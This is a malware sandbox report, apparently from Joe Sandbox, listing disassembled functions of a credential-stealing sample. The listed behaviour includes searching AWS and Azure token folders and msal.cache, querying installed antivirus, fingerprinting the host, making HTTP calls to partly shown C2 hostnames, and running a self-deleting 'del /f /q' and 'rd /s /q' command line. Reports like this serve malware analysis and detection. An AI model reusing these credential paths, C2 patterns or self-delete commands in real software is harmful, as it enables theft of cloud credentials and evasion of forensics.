Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

Azure\.IdentityService, xrefs: 00416619
\.aws\, xrefs: 00416589
msal.cache, xrefs: 0041661E
Azure\.azure, xrefs: 00416531
\.azure\, xrefs: 00416512
Azure\.aws, xrefs: 004165A5
\.IdentityService\, xrefs: 004165FD
*.*, xrefs: 004165AA
*.*, xrefs: 00416536

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$_memsetwsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4216275855-974132213
Opcode ID: 76834d7dd4d0cf9b5b288714eb7b7638825ddcfa6bcbbff797c14ffbe4ebb74a
Instruction ID: 4c866f40ad272d889a39ae9f67839716a451dfd22230b5f9132dcad9f0c5c1bb
Opcode Fuzzy Hash: 76834d7dd4d0cf9b5b288714eb7b7638825ddcfa6bcbbff797c14ffbe4ebb74a
Instruction Fuzzy Hash: D041C871D4021CBBDB14EB60EC47FDD737CAB09304F5044AAB605A7090EAB9AB848F58

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001,004373D0,00436812,?,?,?), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 60d57d675a9d731589791353872bd52ec5546c376b553523e57875972b12a5df
Instruction ID: a3d02141b29f0bf43d948e825a07a3c24bfee850cb90f18aec9c3f52fa0ccd39
Opcode Fuzzy Hash: 60d57d675a9d731589791353872bd52ec5546c376b553523e57875972b12a5df
Instruction Fuzzy Hash: 14C14D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 0041718B Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,004186D9), ref: 00417227
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00417236
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 00417754
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00417815
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 0041782E

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,0041788E), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417BE4

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,004186D9), ref: 0041724A

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F7B,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 0041814A

Strings

hopto, xrefs: 00417FE9
.exe, xrefs: 00417F4E
org, xrefs: 00418031
_DEBUG.zip, xrefs: 0041807F
http://, xrefs: 00417FA1
514d77849a01ff8ab7dd99d5f0a2e19e, xrefs: 00417856
cowod., xrefs: 00417FC5
.exe, xrefs: 00417693

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$514d77849a01ff8ab7dd99d5f0a2e19e$_DEBUG.zip$cowod.$hopto$http://$org
API String ID: 305159127-2308570878
Opcode ID: 284a9a5a16217165c12f64316c8c04067302d27e890dfe132851e2c48006330e
Instruction ID: d54bf860e683a9d9ea948fbb2970d109c33e5cb74c0c5bfb99d811caa709b828
Opcode Fuzzy Hash: 284a9a5a16217165c12f64316c8c04067302d27e890dfe132851e2c48006330e
Instruction Fuzzy Hash: D59254315483419FC620FF26D94268EB3E1FF84308F51482FF59467191DBB8AA8D8B9B

Function 004135A8 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

true, xrefs: 004136A6
false, xrefs: 004136C5

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: 3ad845a5a554c50af850ac95adc5b1dd201381468a8343a8b3994508f74e39c6
Instruction ID: 81ccba1995f702cef7acb199cdd9bdb5c6872cd46d2fc8e3360dcc49f51edd81
Opcode Fuzzy Hash: 3ad845a5a554c50af850ac95adc5b1dd201381468a8343a8b3994508f74e39c6
Instruction Fuzzy Hash: 4DB16EB5900218ABCF64EF55DC89ACA7775BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

GET, xrefs: 00405325

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 442264750-1805413626
Opcode ID: e145092e5971e2d185c63881f670a240b0d1857340e2706fcee05a96d2bcd81f
Instruction ID: a32ed7c537753017332b5fefae4aca360a8d4b0897a3b7a3abd4cad40ca03d43
Opcode Fuzzy Hash: e145092e5971e2d185c63881f670a240b0d1857340e2706fcee05a96d2bcd81f
Instruction Fuzzy Hash: EA5118B1900A28AFDF219F64DC84BEBBBB9EB08346F0050E6A509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

Select * From AntiVirusProduct, xrefs: 00411A23
root\SecurityCenter2, xrefs: 004119F0
WQL, xrefs: 00411A28
Unknown, xrefs: 00411A99
displayName, xrefs: 00411A6F
Unknown, xrefs: 00411AB4
Unknown, xrefs: 00411AA0

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: fdd4f7f867a511bab038fd48f2efc8a237d63492f44167babbe96817ce442a94
Instruction ID: a6e9aa9d7fa8367f7b23d862a237faa2d960bfd31173c526db01d8a47229c81c
Opcode Fuzzy Hash: fdd4f7f867a511bab038fd48f2efc8a237d63492f44167babbe96817ce442a94
Instruction Fuzzy Hash: 5E314F70A04245BBCB20DBD1DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AA98), ref: 004012D0
lstrcatA.KERNEL32(?,0043AA9C), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAA0), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAA8), ref: 00401308
lstrcatA.KERNEL32(?,0043AAAC), ref: 00401316
lstrcatA.KERNEL32(?,0043AAB0), ref: 00401324
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401332
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401340
lstrcatA.KERNEL32(?,0043AABC), ref: 0040134E
lstrcatA.KERNEL32(?,0043AAC0), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAC4), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAC8), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 075dceee351f8c7fd68273280057ff0b7848ef721524a1fcee1913029c64dffb
Instruction ID: 329f1fd96fdfcb16c2f410f14406277e677f3780dfb4b417305efb7e4a91778f
Opcode Fuzzy Hash: 075dceee351f8c7fd68273280057ff0b7848ef721524a1fcee1913029c64dffb
Instruction Fuzzy Hash: D14198B2D4422C56DB20EBB19C59FDB7BAC9F18310F5405A3E8D8E3181D6BC9A84CB58

Function 004183BB Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004183E0
_memset.LIBCMT ref: 004183EF
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 00418404

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 004185A0
_memset.LIBCMT ref: 004185AF
_memset.LIBCMT ref: 004185C1
ExitProcess.KERNEL32 ref: 004185D1

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

" & exit, xrefs: 004184D3
/c timeout /t 10 & del /f /q ", xrefs: 0041842F
" & exit, xrefs: 00418524
" & rd /s /q "C:\ProgramData\, xrefs: 0041847D
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 004184DA

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: 4de5a22190913a124abe78f719765faa1ab2a10443f5725ec9e20d00ce2b7339
Instruction ID: 17f46319f1d81ae95485b78933ee8bbb99b04375982c61dc01e5f9a2b2c8caaf
Opcode Fuzzy Hash: 4de5a22190913a124abe78f719765faa1ab2a10443f5725ec9e20d00ce2b7339
Instruction Fuzzy Hash: 7E51ACB1E4022A9BCB21EF15DD41ADDB3BDAB44708F4110EAA718B3151DA746FC68E58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

jxA, xrefs: 00410B21
C, xrefs: 004109DF
:\, xrefs: 00410A06
QuBi, xrefs: 00410A27

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

